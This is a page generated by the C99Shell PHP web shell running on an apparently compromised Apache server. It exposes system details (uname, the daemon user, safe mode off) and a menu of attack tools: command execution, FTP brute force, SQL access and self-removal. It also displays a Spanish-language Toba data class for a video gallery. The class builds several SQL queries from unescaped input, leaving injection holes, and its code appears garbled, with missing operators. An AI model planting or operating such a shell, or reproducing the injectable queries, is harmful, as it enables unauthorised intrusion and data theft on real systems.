!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/tdfonline/php/datos/   drwxr-xr-x
Free 14.74 GB of 61.93 GB (23.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     dt_galeriavideo.php (3.2 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class dt_galeriavideo extends toba_datos_tabla
{
    function 
get_listado($filtro=array())
    {
        
$where = array();
        if (isset(
$filtro['estado'])) {
            
$where[] = "t_g.estado = ".quote($filtro['estado']);
        }

        if (isset(
$filtro['fecha_desde'])) {
            list(
$y,$m,$d)=explode("-",$filtro['fecha_desde']); //2011-03-31
            
$fecha_desde $y."-".$m."-".$d;
            
$where[] = "t_g.fecha_alta >= ".quote($fecha_desde);
        }
        if (isset(
$filtro['fecha_hasta'])) {
            list(
$y,$m,$d)=explode("-",$filtro['fecha_hasta']); //2011-03-31
            
$fecha_hasta $y."-".$m."-".$d." 23:59:59";
            
$where[] = "t_g.fecha_alta <= ".quote($fecha_hasta);
        }

        if (isset(
$filtro['usuario_alta'])) {
            
$where[] = "t_g.usuario_alta ILIKE ".quote("%{$filtro['usuario_alta']}%");
        }

        if (isset(
$filtro['portada'])) {
            
$where[] = "t_g.portada = '".$filtro['portada']."'";
        }

        
$sql "SELECT
            t_g.id_galeriavideo,
            t_g.nombre,
            t_g.descripcion,
            t_g.estado,
            CASE 
                WHEN t_g.estado='A' THEN 'Activa'
                WHEN t_g.estado='I' THEN 'Inactiva'
                ELSE t_g.estado
            END as estado_descripcion,
            (select count(id_video) from video where id_galeriavideo = t_g.id_galeriavideo)  as cantidad_videos,
            t_g.usuario_alta,
            t_g.fecha_alta,
            t_g.portada,
            t_g.orden_portada
        FROM
            galeriavideo as t_g
        ORDER BY nombre"
;
        if (
count($where)>0) {
            
$sql sql_concatenar_where($sql$where);
        }

        return 
toba::db('tdfonline')->consultar($sql);
    }

    function 
get_descripciones()
    {
        
$sql "SELECT id_galeriavideo, nombre FROM galeriavideo ORDER BY nombre";
        return 
toba::db('tdfonline')->consultar($sql);
    }

    function 
eliminar_galeriavideo($id_galeriavideo)
    {
        
#$sql = "SELECT foto FROM foto WHERE id_galeria = '$id_galeria'";
        #$datos = toba::db('tdfonline')->consultar($sql); 

        
$sql "DELETE FROM galeriavideo WHERE id_galeriavideo = '$id_galeriavideo'";
        if (
toba::db('tdfonline')->ejecutar($sql)){

            
/*if(count($datos)>0){

                foreach($datos as $dato){

                    if(!empty($dato['foto'])){
                        $folder_path = "../www/fotos/";
                        $nombre_archivo = $dato['foto']; 
                        $destino=$folder_path.$nombre_archivo;
                        unlink($destino);            
                    }

                }*/

                
return true;
            
//}
       
        
}else{
            return 
false;
        }
    }

    function 
get_activas(){

        
$sql "SELECT
            t_g.id_galeriavideo,
            t_g.nombre,
            t_g.estado,
            '#'||t_g.id_galeriavideo||' '||t_g.nombre as descripcion
        FROM galeriavideo as t_g 
        WHERE t_g.estado = 'A'
        ORDER BY t_g.id_galeriavideo DESC"
;

        if (
count($where)>0) {
            
$sql sql_concatenar_where($sql$where);
        }

        return 
toba::db('tdfonline')->consultar($sql);

    }

    function 
set_portada($array_datos){

        
$sql "UPDATE galeriavideo SET portada = 0 WHERE estado = 'A'";
        
toba::db('tdfonline')->ejecutar($sql);

        foreach(
$array_datos as $dato){
            if(!empty(
$dato['id_galeriavideo'])){
                
$sql "UPDATE galeriavideo SET portada = 1, orden_portada = '".$dato['orden']."' WHERE estado = 'A' AND id_galeriavideo = '".$dato['id_galeriavideo']."'";
                
toba::db('tdfonline')->ejecutar($sql);                        
            }
        }

        return 
true;

    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.6167 ]--